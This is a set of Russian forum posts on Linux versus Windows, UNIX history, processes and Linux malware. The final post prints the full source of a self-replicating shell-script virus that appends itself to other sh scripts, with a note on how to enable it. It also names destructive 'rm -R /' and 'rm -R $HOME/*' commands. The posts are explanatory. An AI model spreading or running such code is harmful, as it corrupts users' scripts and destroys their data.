AndreyMust19

Сейчас работает, раньше ошибку 500 выдавала.

Цитата: Поскольку содержимое предыдущей было потеряно, то приходится наполнять её с нуля. Сам сервер, надеюсь не потеряете? Wiki опять не работает и судя по давности, всем пофигу. Тогда может хотя бы ссылку на Wiki уберете с главной страницы?

http://translate.google.ru/translate_s?hl=ru&newwindow=1 &q=%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D0%B8%D1%81%D1%82%D0%B 5%D0%BC%D1%8B+Linux&lr=&um=1&ie=UTF-8&sl=ru& amp;tl=en&tq=mini+Linux&ei=kF45SpPFCIvFsgaA34SkCw&am p;sa=X&oi=clir_tip&ct=search_link&resnum=11

sili Цитата: Попал в руки ноут на прцесоре i386 4метров оперативки 120метров винт ,флопи дисковод Интересно, где ты такую древность нашел? Может скажешь? А то я хотел бы купить старый ноутбук для извращений. Если хочешь поставить Linux, лучше используй дистры для floppy-дискет. Они маленькие, имеют минимум программ и должны работать на таком старье.

Исходные тексты, открытое ПО... Сколько в этом рекламы и пропаганды! Изо всех сторон кричат что это супер, что это хорошо. Но обычным людям нужны не открытые тексты, а бесплатное ПО. Никто из обычных людей никогда в жизни не будет компилировать исходники, если даже установка программы в Windows вызывает проблемы. Нам нужен тот же Windows, но только бесплатный. Это то, куда сейчас катится Linux и к чему стремятся многие Linux-разработчики - создать систему, ничем не уступающую Windows, но бесплатную. Единственный вариант, максимально приблизившийся к этой цели - UBUNTU. Раньше эту пальму первенства держала RedHat - именно тогда кто-то сказал о домашнем Linux и это привело тому, что мы видим сейчас - к его современной популярности. Юзерам не нужны всякие Дебианы и Сюзи со своими исходниками - им нужны Ubuntu, Mandriva, с возможностью устанавливать готовые программы бесплатно. Но UBUNTU, по моему мнению, никогда не станет лучше Windows. Чтобы это произошло, надо избавиться от совместимости, кроссплатформенности и настраиваемости в сторону удобства. Тогда это будет уже не Linux, а Windows. Открытая UNIX-система. Но этого не будет никогда. Для этого надо избавиться от консоли, убрать модульность, соединив X-серверы, X-клиенты, Xwindow, Оконный менеджер, Рабочие столы в один модуль. Пока окошки разбиты на части, не видать нам быстродействия. И пока разработчики ядра и системы не откажутся от выгоды новых версий в пользу обратной совместимости, не видать лавров Windows. Итого: Linux может быть максимально похожим на Windows, но никогда не будет им. Для этого надо переписывать систему, разрушая все UNIX-идеалогии.

Может быть все что угодно. Или драйвера нужны на видеокарту или глюки вайна. Попробуй следующие комбинации, запустить эту игру: 1) на другой Linux-системе 2) на компе с другой аппаратной начинкой 3) в другой версии Wine Пошли сообщение на официальный сайт Wine с полной информацией о проблеме и информацией о версии игры.

Я не знаю - есть или нет. Поищи в манах, связанных с XWindow, если найдешь опции '-geometry' и -display', значит ты рядом. Если там не найдешь нужной тебе опции, значит ее, возможно, и нет. Если же такая опция есть, то знай - данные опции командной строки разбирает САМА программа, а не X-сервер. Поэтому их поддерживают только те X-программы, в которых программист добавил анализ командной строки на наличие этих опций. Можно настроить горячую клавишу (н-р, Shift+F12) на сворачивание окна.

Спс, BSDobermann

part 5 про процессы и запуски обновлена. Можно читать.

Ya_qazwsx антивирусники под линукс или нет или они плохо работаю. Так их нет или плохо работают? Они есть и работают они неплохо (особенно drweb), просто в них нет необходимости.

Цитата: 1. Каким образом можно управлять процессами У процесса есть GID, идентификатор группы, которой он принадлежит. Я так думаю, что это число ассоциируется с заданием (job, или "работа", как ты сказал). Задание - это всего лишь группа процессов, наследующие общие привилегии, как я понимаю. Единственный способ работать с заданиями - узнавать GID процесса вручную и тем самым определять - принадлежит он нашему заданию или нет. Цитата: 2. Возможно ли переподключение процессов к уже открытому соединению (pipe)? Цитата: Возможно ли отключить второой процесс и подключить вместо него другой ? Думаю, что проблем быть не должно - 2-ой процесс закрывает чтение из pipe, а новый процесс открывает его для чтения. Знаю еще что, что файл можно открыть с флагом "не закрывать после exec". При вызове exec этот файл остается открытым и достанется запущенной программе. Может это как-то поможет. P.S. Я нуб в программировании для UNIX и может в чем-то ошибаюсь. Цитата: Но это работает только один раз. Не понял.

Sleeping Daemon Цитата: А в винде - мне надоело разбираться в каких то невменяемых сообщениях стсиемы и чёрти-каких ошибках. Мне надоело, что каспер найдя вирус на флэшки блокирует флэшку так, что после ни один накопитель не распознаётся. До ковыряния в реестре, или перестановке дров. +5 Ребята, кончай про Linux<->Windows болтать - наша тема - 'вирусы в Linux'. Кто нибудь-чего нового в этой среде раскопал?

cppmm Цитата: поэтому не стоит говорить, что лучше него ничего нет Но ведь OO - это 95% тот же самый MS Office. Сходство почти полное! Поэтому можно сказать (со стороны функционала) что Cacl и Writer - это тот же самый Excel и Word. Вот я и говорю что ничего лучше, чем эти 2 продукта - не придумали.

Где-то говорилось что Apple подала в суд за фразу "MacOS - это UNIX-система". Речь шла конкретно о Mac OS X. Источник не помню. Просто увидел, офонарел и запомнил.

Не знаю Давно это было! Писал я ее вместе с тем, как начинал изучать командную строку. Я думаю что когда ты будешь читать дальше, то заметишь что некоторый текст был вставлен намного позже

Большое спасибо, думаю, теперь эту статью можно оставить здесь, на сайте, в качестве документации!

Вы еще не видели индийские и китайские разработки . Качество у MS-продуктов не самое высокое, но и не самое низкое, а так... среднее. Кроме того есть MS-программы, лучше которых еще не придумали (н-р MS Word и MS Excel).

BSDobermann Тогда, если уж и сравнивать, то UNIX-программы с Windows-аналогами (текстовые редакторы, браузеры, калькуляторы, и т.д.), а не сами операционные системы. Ведь в Linux-дистры входит очень много программ, их так много что они фактически становятся частью системы (как calc и notepad стали частью MS Windows). Но тогда их сравнивать нечего (кроме vi и ed), так как UNIX-программы за образец берут Windows-аналоги (н-р OpenOffice и AbiWord).

Legalizer Цитата: Так на вопрос вы не ответили Нет, не видел, но: Если я это не вижу, то не означает что этого не существует. P.S. а правильный вирус и не должен делать так, чтобы его видели. cppmm Цитата: А что, вы всем скриптам, которые попадаются, тут же даёте права на запуск? А зачем нам скрипт без этого атрибута? Конечно не тут же, почитать сначала надо - что он делает. Но ведь скрипт можно написать так, что смысла его никто не поймет (как язык Си). Но запутанность алгоритма скрипта - не признак его зараженности. Ведь есть еще "упаковщики" языков, которые уменьшают размер скрипта / исходника: - убирая все комментарии, лишние пробелы и табуляцию - изменяет имена переменных, меток, функций на более короткие - возможно даже переименовывает типы (н-р unsigned char -> uc, а unsigned long -> ul). Цитата: нашёл как-то сайтик, где были исходники целых девяти вирусов... Но, видимо, у меня руки не из того места растут. Ну... был такой червь Морриса, который распространялся исходными текстами, компилировал их на зараженной машине и отправлял полученное тело следующей машине. И вот таким макаром он парализовал всю сеть. Так что или у вас Цитата: руки не из того места растут или сами вирусы написаны немультиплатформенными (привязаны к определенной версии системы).

Цитата: Что в переводе означает ГНУ - это не ЮНИКС, ведь Ричард Столлман на каждом своём выступлении говорит об этом. Тогда почему продолжают GNU/Linux или просто Linux причислять к UNIX? Не совсем . Столлман говорит что "GNU isn't Unix", а не UNIX - он сравнивает проект GNU и Unix-системы от компаний Bell Labs и AT&T (к-е требовали за свои системы деньги и зажимали исходники!), а не UNIX вообщем. Вот! Цитата: UNIX - это не только System III, System V и т.п. современные UNIX системы А я считаю что Unix - это System I-V от Bell, которые никому не давали исходники, а UNIX - это те системы, исходники к-х свободны для распространения. Думаю, System I-V стоит причислить к классу Unix, а не UNIX. Цитата: да, макось является сертифицированной системой UNIX А почему же тогда Apple материлась, когда кто-то сказал что "MacOS - это UNIX-подобная ось" (примерно так). Цитата: Запомните, что Linux это не операционная система, а ядро... А вот операционная система - это GNU/Linux Я знаю . Об этом я написал в 1-м разделе "Что есть Юникс" (About UNIX). Цитата: NetBSD и FreeBSD насколько мне известно произошли не от первой версии BSD Тогда напишем так? 8. BSD Под этим словом подразумеваются все системы, в имени которых есть слово "BSD". К ним относятся FreeBSD, OpenBSD и NetBSD.

BSDobermann Спасибо, учту 1-ое дополнение и 2-ое замечание. Цитата: FreeBSD не является UNIX-подобной системой... такого термина как UNIX-like или UNIX-подобная система попросту не существуют Как же тогда сказать? Просто заменить "UNIX-подобная система" на "UNIX-система"?

Цитата: Какой тип установки вы хотите выбрать То что можно выбрать установки - это хорошо. Ведь Linux-система - это дистрибутив, уже содержащий программы, поэтому в нем обязательно должна иметься возможность выбора и самостоятельной работы. В Windows нет такой возможности - не значит что это плохо. Ведь в Windows кроме пары прикладных программ ничего нет, а linux-дистре может быть уже все, что только может пригодиться. Цитата: запускается графический установщик, пользователю необходимо только нажимать кнопку Далее А вот это плохо - Linux этим самым делает вид что "я - Windows" и у новичка в результате создается точно такое впечатление. Цитата: Это вы так думаете, а моя мама думает иначе... Она умеет запускать веб браузер... , аудио или видео проигрыватель..., редактировать графические изображения в GIMP или Imagemagick, просматривать документы pdf и так далее. Тоже самое умеет любой Windows пользователь. В данном случае она - Windows-пользователь с мышкой, только тот, который пользуется UNIX-программами. Ничего сложного в пользовании всеми перечисленными вами продуктами виндоузники не видят. Цитата: 'free' в английском языке означает как свободное так и бесплатное Да, согласен, но слово 'free' для UNIX означает именно "свободное", а не "бесплатное" - никто не запретит вам брать деньги с пользователей того же Debian. Если не верите - почитайте GNU-лицензию - там так и написано: When we speak of free software, we are referring to freedom, not price. "Когда мы говорим о свободном обеспечении, мы подразумеваем свободу [изменения], а не цену"

Legalizer Цитата: вы лично видели вирус под GNU/Linux _в диком виде_ хоть раз в жизни (в том числе в вашей профессиональной деятельности, если вы как-то связаны с IT). Я вас не пугаю - я вас предупреждаю. Даже если вы работаете в UNIX-системе, не забывайте обновлять ядро и все установленные в ней программы (или пользуйтесь стабильными версиями без ошибок). Цитата: Это развеселило. А я - серьезно. AccessD Цитата: вода водой, я не советую эту статью, я вам ее назвал только чтобы е возникали вопросы "откуда ты это узнал?". Hans R. Steiner Цитата: я даже боюсь себе представить то, как долго придется заниматься мозгосексом для того, чтобы заставить работать хотя бы один Вот поэтому я и говорю - забудьте о вирусах! Есть черви и руткиты.

Я не понимаю "священные войны" Linux против Windows!!! Эти системы нельзя сравнивать, они во многом противоположны. Windows создан для неопытных пользователей прост в настройке и установке - все для того чтобы юзер уже мог пользоваться, т. е. для обычных людей. UNIX создан для "избранных", психов-профессионалов, согласных всю жизнь провести за компьютером, настройкой системы и возни с исходниками. Ни Linux, ни FreeBSD ни OpenBSD, ни Minix для новичков не приспособлены. Windows и Linux - это 2 противоположных класса людей. Первые - обычные люди, не хотят думать, мучатся, они просто хотят играть в игры и пользоваться компьютером Вторые - живут в компьютере, умные исследователи, жаждующие программирования, принципиально готовы все делать и настраивать своими рукам. Поэтому эти 2 класса людей никогда не поймут друг друга (нормальному не понять психа, а психу - никогда не понят нормальных людей). Проталкивание Linux началось с RedHat, с того как его создатели начали максимально упрощать свою систему со стороны графического интерфеса. Кто-то сказал, что скоро RedHat станет понятным обычному пользователю... и понеслось!!! Главные линусоиды принялись дезинформировать Виндозников что их система - супер крутая, безопасная и уже готова к их употреблению, делая ставку на бесплатность (умалчивая о том, что free - значит свободное, а не бесплатное). Все из-за отсутствия другой информации позволили положить себе лапшу на уши и в порыве радости побежали ставить Linux себе на диск. А через неделю снимали лапшу с ушей и ставили опять Windows. Сами линдуксойды все больше и больше врали, преувеличивали, лишь бы пополнить свои ряды, отняв их от Windows-сообщества (взять хотя бы Lindows). Скорее всего, эти линуксоиды сами никогда не видели Windows и не понимали - насколько сильно она отличается. Поэтому и "врали", переоценив подготовку и профессионализм Windows-юзеров. ВЫВОД: Никогда не сравнивайте UNIX (особенно Linux) и Windows! В большинстве случаев все наезды, споры и обвинения - безосновательны и вызваны тем, что юзер плохо знаком с критикуемой системой.

Hans R. Steiner у кого-нибудь есть вирус для линукс? AlexzAK Я тоже хочу вирус! Вирусы в Linux есть и не только в нем, но, как говорится - их мало. Мое мнение - гораздо опасней не бинарные (к-е будут запускаться только на узком числе машин), а скриптовые. Причины: - sh или bash установлен на всех машинах - эти оболочки во всех UNIX устроены одинаково - в системе есть достаточно консольных программ не только для обычных гадостей, но и для вирусов. Вот скажите. Вы скачали sh-скрипт, который распаковывает tar-gz архив. При этом вы запускаете его от root'а. А где гарантия, что в нем какой-нибудь вредоносной команды, вроде 'rm -R /', которая туда была вставлена умышленно? И в результате запуска оного скрипта вы остаетесь у разбитого корыта. Даже если вы запускаете его не от рута, команда 'rm -R $HOME/*' принесет пользователю много вреда - удалит все его файлы и настройки. Интересующихся могу послать к статье Криса Касперского "Вирусы в UNIX, или Гибель Титаника II" (по-моему есть на www.wasm.ru). Вот пример очень простого sh-вируса: #!/bin/sh #Вирус "sh-450". Удалите эту и строку и "exit", чтобы вирус мог получить управление. exit for F in * do #Если в первой строке найдено "#!" и "/sh", значит $F - sh-скрипт if [ "$(head -c9 "$F" | grep -s -E -H "#!" 2>/dev/null)" != "" ]; then #This $F - a Script if [ "$(head -c9 "$F" | grep -s -E -H "/sh" 2>/dev/null)" != "" ]; then #$F - a sh-Script if [ "$(tail -n1 "$F" 2>/dev/null)" != "#Virus v.1.1" ]; then #$F - not infected tail -12 $0 >> "$F" 2>/dev/null; fi fi fi done #Virus v.1.1 Этот скрипт ищет в текущем каталоге все не зараженные sh-скрипты (в конце к-х нет '#Virus v.1.1') и копирует в их конец последние 12 строчек своего тела. Это очень простой пример. Есть еще полиморфные и закодированные вирусы, и такие, у к-х умышленно усложнен алгоритм чтобы ни пользователи, ни антивирусы не поняли алгоритм его работы. lcd_swat Засунул в Mac флэшку, а там в корне два файла висят - autorun.inf и toy.exe. AccessD ага, wine'ом Нет, это - Windows-гадости, к UNIX они не имеют никакого отношения! Бинарных вирусов, скомпилированных для Linux всего-лишь 50-60. Мне неизвестно - сколько скриптовых. Не стоит думать что если в UNIX нет вирусов - то она безопасна. В этой системе другая раскладка сил. Для размножения вирусов чтобы программа была запущена от root'а. Размножение вирусов практически ограничено потому что никто не будет от root'а запускать офисную или прикладную программу, - в основном запускаются те, к-е были созданы во время установки системы. В Windows 98% юзеров сидят под администратором, поэтому любая запущенная программа может писать в другую программу. А вот посмотрите на червей. В UNIX их почти столько же, сколько для Windows, несмотря на то, что даже Linux встречается в тысячи раз реже, чем Windows. Черви спокойно существуют в UNIX-системах (хотя бы про червь Морриса все слышали - поражал BSD 4), есть черви Slapper и Scalper. Во-первых играет роль наличие исходников уязвимых программ, во-вторых, заплатки выпускаются реже (посмотрите на FreeBSD - 1/3 дыр еще не закрыта , хотя для некоторых из них уже есть эксплоиты). И в-третьих, сами заплатки устанавливаются реже - их установка и новых версий гораздо проблематичнее: 1) установка программ в UNIX дольше и сложнее, чем в Windows 2) после обновления программы может потребоваться обновление других программ, вплоть до ядра. В UNIX также более распространены руткиты (скрывающие свое присутствие в системе). В Windows они практически не нужны - ведь все программы в 98% случаев итак запускаются от Администратора. Итак, под UNIX никогда не будет много бинарных вирусов (а вот скриптовых - может быть больше). А вот новые черви и руткиты будут гораздо более знаменитыми. Так что... не огорчайтесь - на каждую старуху своя пруха!